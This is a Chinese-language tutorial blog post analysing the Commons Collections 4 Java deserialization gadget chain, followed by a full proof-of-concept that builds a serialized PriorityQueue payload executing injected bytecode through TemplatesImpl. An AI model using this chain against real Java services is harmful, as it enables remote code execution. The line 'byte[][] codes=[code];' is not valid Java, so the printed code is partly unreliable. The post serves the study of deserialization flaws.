java安全之CommonsCollections4详解
引子
PriorityQueue
readobject()方法
heapify()调用了siftdown()方法
TransformingComparator
问题
POC
结语
引子CC4简单来说就是CC3前半部分和CC2后半部分拼接组成的，对于其利用的限制条件与CC2一致，一样需要在commons-collections-4.0版本使用，原因是TransformingComparator类在3.1-3.2.1版本中还没有实现Serializable接口，无法被反序列化。
接下来让我们仔细分析一下。
PriorityQueuePriorityQueue是一个优先队列，作用是用来排序，重点在于每次排序都要触发传入的比较器comparator的compare()方法 在CC2中，此类用于调用PriorityQueue重写的readObject来作为触发入口
PriorityQueue中的readObject间接调用了compare() 而compare()最终调用了transform()
readobject()方法private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
重写了该方法并在最后调用了heapify()方法，我们跟进一下：
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
这里的话需要长度等于2才能进入for循环，我们要怎样改变长度呢。
这里用到的是该类的add方法，将指定的元素插入此优先级队列。
heapify()调用了siftdown()方法继续跟进：
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
可以看到判断条件
if (comparator != null)
调用了
siftDownUsingComparator(k, x);
在siftDownUsingComparator()又调用了 comparator.compare()。
TransformingComparator可以看到该类在CC3的版本中不能反序列化，在CC4的版本中便可以了。
TransformingComparator是一个修饰器，和CC1中的ChainedTransformer类似。
TransformingComparator里面存在compare方法，当我们调用时就会调用传入transformer对象的transform方法具体实现是this.transformer在传入ChainedTransformer后，会调用ChainedTransformer#transform反射链。
问题1.就像刚才heapify里面所说的
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
我们要进入循环要修改值，通过add方法。
priorityQueue.add(1);
priorityQueue.add(2);
2.initialCapacity的值要大于1
3.comparator != null
4.通过反射来修改值防止在反序列化前调用，就如之前的链一样，我们到利用时再用反射修改参数。
类似这个样子：
Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);
我们先放置个反序列化前不会执行这条链的随便一个参数：
TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
POC
package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.convert.TransformWriteField;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;
import javax.xml.crypto.dsig.Transform;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class tc=templates.getClass();
Field nameField=tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"XINO");
Field bytecodesField=tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
byte[][] codes=[code];
bytecodesField.set(templates,codes);
Field tfactoryField=tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);
}
public static void unserialize(Object obj) throws Exception{
ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin"));
oss.readObject();
}
}
结语
这次给大家带来的是CC4链的简单分析，可以看到CC4链还是没有脱离之前跟的链的影子，我们可以看到CC3的前半部分以及CC2的后半部分，需要注意的问题的话就是版本问题了吧还有上面提到的一些小细节，至此CC链就快跟完了。
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